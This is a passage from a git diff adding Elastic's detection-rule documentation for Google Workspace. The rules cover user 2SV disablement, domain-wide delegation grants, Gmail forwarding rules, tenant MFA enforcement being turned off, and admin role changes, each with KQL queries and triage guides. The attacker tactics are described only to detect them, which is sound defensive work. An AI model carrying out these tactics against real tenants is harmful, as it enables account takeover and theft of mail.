Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-2sv-policy-disabled-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-2sv-policy-disabled-by-user.asciidoc new file mode 100644 index 0000000000..26e706335c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-2sv-policy-disabled-by-user.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-28-google-workspace-2sv-policy-disabled-by-user]] +=== Google Workspace 2SV Policy Disabled By User + +Detects when a Google Workspace user disables 2-step verification (2SV) on their account. An adversary with access to a compromised account may remove 2SV to eliminate the second authentication factor, leaving password-only access and making future sign-ins easier to abuse, relay, or maintain without triggering MFA challenges. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.login-* +* logs-google_workspace.user_accounts-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-190m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/9176657?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace 2SV Policy Disabled By User* + + +Threat actors who compromise a Google Workspace account may disable 2-step verification (2SV) on that account to remove +the second authentication factor. With 2SV turned off, the account falls back to password-only authentication, which can +support session abuse, AiTM credential relay, and sustained access without MFA challenges on future sign-ins. This is +especially concerning for administrators, executives, and users with access to sensitive mail, data, or admin functions. + +In AiTM and session-hijacking scenarios, an attacker with an active session may disable 2SV before the legitimate user +notices, making it easier to re-enter the account later using stolen credentials alone. + +This rule identifies when a user disables 2SV on their account via the `2sv_disable` event. The event appears in +both the `google_workspace.login` and `google_workspace.user_accounts` data streams; alert suppression groups by +`user.email` and `source.ip` within the rule lookback to avoid duplicate alerts when both streams are ingested. + + +*Possible investigation steps* + + +- Identify the user account that disabled 2SV by reviewing `user.email` or `user.name`, and note the `source.ip` and `event.ingested` timestamps. +- Determine the account's privilege and data access — prioritize triage if the user is an administrator, holds delegated admin roles, or has access to sensitive resources. +- Determine whether the disable is expected or unauthorized: + - Validate with the user or their manager whether they intentionally turned off 2SV (for example, device replacement). + - If the `source.ip`, geolocation, or timing is unusual for the user, treat the alert as higher priority until proven benign. +- Search Kibana for precursor and follow-on account changes for the same `user.email` in the hours before and after the alert: + - `password_edit`, `recovery_email_edit`, `recovery_phone_edit` in `google_workspace.login` or `google_workspace.user_accounts` + - `login_success`, `login_failure`, `suspicious_login`, and `login_challenge` in `google_workspace.login` + - OAuth activity in `google_workspace.token` if token abuse is suspected +- Review `google_workspace.login.challenge_method` on recent sign-ins to determine whether MFA was used, bypassed, or relayed before 2SV was disabled. + + +*False positive analysis* + + +- Legitimate users may disable 2SV temporarily, but this weakens the account — confirm the change was authorized even when the actor appears benign. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- If the disable is not clearly authorized, re-enable 2SV on the affected account, reset the password, and revoke active sessions while the investigation proceeds. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 190 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h) for Filebeat and 3 hours for the Fleet Integration `login` datastream. Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:("google_workspace.login" or "google_workspace.user_accounts") and event.action:"2sv_disable" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-api-access-granted-via-domain-wide-delegation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-api-access-granted-via-domain-wide-delegation.asciidoc new file mode 100644 index 0000000000..5711fc4964 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-api-access-granted-via-domain-wide-delegation.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-28-google-workspace-api-access-granted-via-domain-wide-delegation]] +=== Google Workspace API Access Granted via Domain-Wide Delegation + +Detects when a super administrator authorizes domain-wide delegation (DWD) API client access for a Google Cloud service account or OAuth client. DWD lets an application impersonate users and access Workspace APIs across the tenant. Adversaries with admin access may register or authorize a malicious client with broad scopes to maintain API-based persistence and access mail, drive, and directory data without relying on a single user's password alone. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developers.google.com/admin-sdk/directory/v1/guides/delegation +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence +* Tactic: Privilege Escalation + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace API Access Granted via Domain-Wide Delegation* + + +Domain-wide delegation (DWD) allows a Google Cloud service account or OAuth client to access Workspace user data on +behalf of users across the domain. Only super administrators can authorize DWD, and each grant specifies API scopes +that define what the client can read or modify (for example Gmail, Drive, Directory, or Calendar APIs). Over-scoped DWD +grants create durable third-party access paths that survive individual user password resets. + +This rule matches `AUTHORIZE_API_CLIENT_ACCESS` events in the `google_workspace.admin` data stream. + + +*Possible investigation steps* + + +- Identify the administrator who authorized access by reviewing `user.email` or `user.name`, and note `user.domain` and + `event.ingested` if present in the alert. +- Identify the authorized client by reviewing `google_workspace.admin.api.client.name` and confirm the affected tenant + with `google_workspace.admin.domain.name`. +- Review granted API scopes in `google_workspace.admin.api.scopes` against least-privilege expectations. Broad scopes + (for example full mail or drive access) warrant higher urgency. +- Determine whether the change is expected and authorized: + - Validate there is an approved change request or vendor onboarding record for the client and scopes. + - If the actor account is unusual or the scopes exceed documented requirements, treat as higher priority until proven benign. +- Review DWD configuration in the Google Admin console: + - Sign in to https://admin.google.com[admin.google.com] with an authorized administrator account. + - Navigate to Security > Access and data control > API controls > Domain-wide delegation. + - Confirm the client ID, client name, and scopes match the alert fields. +- Search Kibana for related admin activity: + - Find other DWD grants or revocations by the same administrator: + ``` + data_stream.dataset: "google_workspace.admin" and user.email: "" and event.action: ("AUTHORIZE_API_CLIENT_ACCESS" or "REVOKE_API_CLIENT_ACCESS") + ``` + - Scope for all grants to the same API client: + ``` + data_stream.dataset: "google_workspace.admin" and event.action: "AUTHORIZE_API_CLIENT_ACCESS" and google_workspace.admin.api.client.name: "" + ``` + - Correlate with other high-risk admin actions from the same actor in the last 48 hours: + ``` + data_stream.dataset: "google_workspace.admin" and user.email: "" and event.action: ("ASSIGN_ROLE" or "ADD_APPLICATION" or "CREATE_ROLE") + ``` +- If GCP audit logs are ingested, pivot on the service account or client: + - Search for the client name in `gcp.audit.resource_name` and review `event.action` over the last 48 hours to determine + how the service account is being used after authorization. + + +*False positive analysis* + + +- Platform or security teams may authorize DWD for approved automation, backup, or migration tooling — validate against + known service accounts and documented scope requirements. +- Vendor onboarding sometimes requires temporary broad scopes; confirm timing against change windows before closing as benign. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- If the grant is not clearly authorized, revoke domain-wide delegation for the client under Security > Access and data + control > API controls > Domain-wide delegation while the investigation proceeds. +- Rotate or disable the associated GCP service account keys if the client is suspected malicious. +- If the initiating admin account is suspected compromised, reset credentials, revoke active sessions, and review + delegated admin roles assigned to that account. +- Review activity performed with the authorized client based on scopes in `google_workspace.admin.api.scopes`. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated administrator to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin + and event.action:AUTHORIZE_API_CLIENT_ACCESS + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-gmail-routing-or-forwarding-rule-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-gmail-routing-or-forwarding-rule-created-or-modified.asciidoc new file mode 100644 index 0000000000..d765c2df65 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-gmail-routing-or-forwarding-rule-created-or-modified.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-28-google-workspace-gmail-routing-or-forwarding-rule-created-or-modified]] +=== Google Workspace Gmail Routing or Forwarding Rule Created or Modified + +Detects when a Gmail routing, mail-forwarding, or custom mail-host setting is created or modified in Google Workspace. Adversaries with administrative access can add Routing rules (also deliver to / change envelope recipient), recipient address map forwarding, or mail hosts and outbound gateways to copy or redirect sensitive email for collection. + +*Rule type*: query + +*Rule indices*: + +* logs-google_workspace.admin-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-20m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/2685650?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Gmail Routing or Forwarding Rule Created or Modified* + + +Gmail administrators can change where mail is delivered using several Admin console areas under Apps > Google Workspace > Gmail: + +- Routing — specialized rules (modify message, change route, also deliver to, change envelope recipient). Audit: `UNIFIED_MAIL_ROUTING` or `MESSAGE_SECURITY_RULE` (legacy); `google_workspace.admin.setting.metadata.rule.type` may repeat the legacy type on `RuleState` rows. +- Email forwarding using recipient address map — rewrite or forward by address mapping. Audit: `ALIAS_TABLE`. +- Hosts / Outbound gateway — custom SMTP routes. Audit: `EMAIL_ROUTE`. + +Google may emit multiple admin audit events per single save (legacy `CREATE_GMAIL_SETTING`, new `CREATE_APPLICATION_SETTING`, rule body, and rule enabled state). Expect duplicate documents at the same `@timestamp`; correlate on `user.name`, `google_workspace.admin.USER_DEFINED_SETTING_NAME` (rule id), and `event.id`. + + +*Possible investigation steps* + + +- Identify the administrator (`user.name`, `user.email`) and confirm the change was authorized. +- In Admin console, review the rule matching `google_workspace.admin.USER_DEFINED_SETTING_NAME`: + - Routing (`UNIFIED_MAIL_ROUTING`, `MESSAGE_SECURITY_RULE`): Apps > Gmail > Routing + - Recipient address map (`ALIAS_TABLE`): Apps > Gmail > Default routing > Email forwarding using recipient address map + - Mail hosts / outbound gateway (`EMAIL_ROUTE`): Apps > Gmail > Hosts +- Map the alert to the admin area using `google_workspace.admin.setting.name` and `google_workspace.admin.setting.metadata.rule.type` +- Review whether the rule adds also deliver to, change envelope recipient, or routes to an external mail host or domain. +- Review related `event.action` values for the same administrator in the last 48 hours. +- If licensed for Gmail log events (BigQuery / Enterprise Plus), use Reporting > Audit and investigation > Gmail log events to confirm messages were delivered per the rule (`message_info.flattened_destinations`, `triggered_rule_info`). +- Submit suspicious URLs or attachments from affected mail to reputational services as needed. + + +*False positive analysis* + + +- Legitimate mail migrations, journaling, compliance archiving, and internal dual-delivery are common. +- Tune with exceptions for known administrator accounts, rule ids (`USER_DEFINED_SETTING_NAME`), or approved external domains. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule uses `timestamp_override = event.ingested` and is configured to run every 10 minutes with a lookback of 20 minutes, aligned with the integration's default Admin poll interval (`interval`: 15m) and lag time (`lag_time`: 3m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/docs/reference/integrations/google_workspace + +==== Setup + + +The Google Workspace Fleet integration with the Admin data stream (`logs-google_workspace.admin-*`) is required for this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.admin" and event.action:( + "CREATE_GMAIL_SETTING" or "CHANGE_GMAIL_SETTING" + or "CREATE_APPLICATION_SETTING" or "CHANGE_APPLICATION_SETTING" +) +and ( + google_workspace.admin.setting.name:( + "UNIFIED_MAIL_ROUTING" + or "ALIAS_TABLE" + or "EMAIL_ROUTE" + or "MESSAGE_SECURITY_RULE" + ) + or google_workspace.admin.setting.metadata.rule.type:( + "UNIFIED_MAIL_ROUTING" + or "ALIAS_TABLE" + or "EMAIL_ROUTE" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Email Forwarding Rule +** ID: T1114.003 +** Reference URL: https://attack.mitre.org/techniques/T1114/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-mfa-enforcement-disabled-for-organization.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-mfa-enforcement-disabled-for-organization.asciidoc new file mode 100644 index 0000000000..121a3feef6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-mfa-enforcement-disabled-for-organization.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-28-google-workspace-mfa-enforcement-disabled-for-organization]] +=== Google Workspace MFA Enforcement Disabled For Organization + +Detects when an administrator disables multi-factor authentication enforcement or removes the ability for users to enroll in 2-step verification across a Google Workspace organization or organizational unit. Adversaries with administrative access may weaken tenant-wide authentication requirements to enable password-only sign-ins, facilitate credential abuse at scale, and reduce friction for follow-on account takeover across the domain. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/9176657?hl=en# +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Impact +* Tactic: Credential Access +* Tactic: Defense Evasion +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace MFA Enforcement Disabled For Organization* + + +Threat actors with Google Workspace administrative access may disable organization-wide 2-step verification (2SV) +controls to weaken authentication for many users at once. Unlike a single user turning off 2SV on their own account, +this change affects tenant policy and can allow password-only sign-ins across an organizational unit or the entire +domain. This supports large-scale credential abuse, reduces MFA friction for follow-on compromise, and can blind +security teams if paired with other admin tampering. + +This rule identifies when an administrator sets `google_workspace.admin.new_value` to `false` for either +`ENFORCE_STRONG_AUTHENTICATION` (2SV enforcement turned off) or `ALLOW_STRONG_AUTHENTICATION` (users can no longer turn +on 2SV). + + +*Possible investigation steps* + + +- Identify the initiating (actor) administrator by reviewing `user.email` or `user.name`, and note the `source.ip` and `event.ingested` timestamps. +- Identify the setting changed by reviewing `event.action`: + - `ENFORCE_STRONG_AUTHENTICATION` — 2SV enforcement was disabled for the affected scope. + - `ALLOW_STRONG_AUTHENTICATION` — users were prevented from turning on 2SV. +- Review `google_workspace.admin.old_value` and `google_workspace.admin.new_value` to confirm the prior and updated policy state. +- Determine the scope of impact by reviewing `google_workspace.admin.org_unit.name` (if present) and identifying which users or groups inherit the weakened policy. +- Determine whether the change is expected and authorized: + - Validate there is an approved change request/ticket and that the actor is authorized to modify authentication policy. + - If the actor account or `source.ip` is unusual, treat the alert as higher priority until proven benign. +- Search Kibana for related authentication and admin activity: + - Use the following KQL example to find other MFA policy changes by the same actor: + ``` + data_stream.dataset: "google_workspace.admin" and user.email: "" and event.action: ("ENFORCE_STRONG_AUTHENTICATION" or "ALLOW_STRONG_AUTHENTICATION") + ``` + - Search for user-level 2SV disables that follow this change: + ``` + data_stream.dataset: ("google_workspace.login" or "google_workspace.user_accounts") and event.action: "2sv_disable" + ``` + - Scope for other security-weakening admin actions from the same `user.email` within the last 48 hours, such as password policy changes, SSO/SAML modifications, or role assignments. + + +*False positive analysis* + + +- Verify the MFA policy change aligns with an approved change window, migration, or troubleshooting activity. +- Confirm the initiating administrator is legitimate and not acting from unusual IPs, devices, or locations. +- Even authorized changes materially weaken tenant security, validate business justification and time-bound rollback plans. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- If the change is not clearly authorized, restore 2SV enforcement and re-enable Allow users to turn on 2-Step Verification for the affected scope while the investigation proceeds. +- If the initiating admin account is suspected compromised, reset credentials, revoke active sessions, and review delegated admin roles assigned to that account. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated administrator to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin + and event.action:(ENFORCE_STRONG_AUTHENTICATION or ALLOW_STRONG_AUTHENTICATION) + and google_workspace.admin.new_value:false + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-role-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-role-modified.asciidoc new file mode 100644 index 0000000000..7fdc64a905 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-role-modified.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-28-google-workspace-role-modified]] +=== Google Workspace Role Modified + +Detects when a custom admin role or its privileges are modified in Google Workspace. Adversaries may add or expand privileges on an existing role to elevate access for assigned users or groups without creating a new role or directly assigning a well-known admin role. Because privilege changes take effect for all principals assigned the role, modifying role permissions can silently expand access across multiple accounts. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/2406043?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence +* Tactic: Privilege Escalation + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Role Modified* + + +Google Workspace allows administrators to modify custom admin roles by adding, removing, or updating privileges across +services such as Users, Groups, Gmail, Drive, and Security. Threat actors may expand privileges on an existing role to +establish persistence or escalate access for accounts already assigned that role, without triggering role assignment +alerts. Selecting a privilege category in the Admin console (for example, Organization Units) can add multiple related +privilege groups in a single action, each logged as a separate `ADD_PRIVILEGE` event. + +This rule identifies when a Google Workspace role is modified via `ADD_PRIVILEGE` or `UPDATE_ROLE` events. Alert +suppression groups alerts by `user.email`, `google_workspace.admin.role.name`, and `source.ip` within a 130-minute window +(matching the rule lookback) so analysts receive one alert per role modification session instead of one alert per privilege. + + +*Possible investigation steps* + + +- Identify the initiating (actor) account that modified the role by reviewing `user.email` or `user.name`, and note the `source.ip` and `event.ingested` timestamps. +- Identify the role modified by reviewing `google_workspace.admin.role.name`. +- Identify the privilege changed by reviewing `google_workspace.admin.privilege.name`. Because suppression may group multiple events, search for all related changes in the same session (see Kibana steps below). +- Determine whether the modification is expected and authorized: + - Validate there is an approved change request/ticket and that the actor account is authorized to modify admin roles. + - If the actor account or source IP is unusual, treat the alert as higher priority until proven benign. +- Review role permissions in the Google Admin console: + - Navigate to Account > Admin roles. + - Locate the role name from `google_workspace.admin.role.name` and select it to open the role details. + - Review the Privileges tab to confirm which permissions were added or removed and whether they align with the organization's delegation model. + - Review the Admins tab to identify which users or groups currently hold the role and will inherit the modified privileges. +- Search Kibana for all privileges changed in the session: + - In Discover (or the alert investigation workflow), search Google Workspace admin logs with a time range centered on the alert timestamp (±5 minutes). + - Use the following KQL example, replacing `` with the value from `google_workspace.admin.role.name`: + ``` + data_stream.dataset: "google_workspace.admin" and event.action: ("ADD_PRIVILEGE" or "UPDATE_ROLE") and google_workspace.admin.role.name: "" + ``` + - 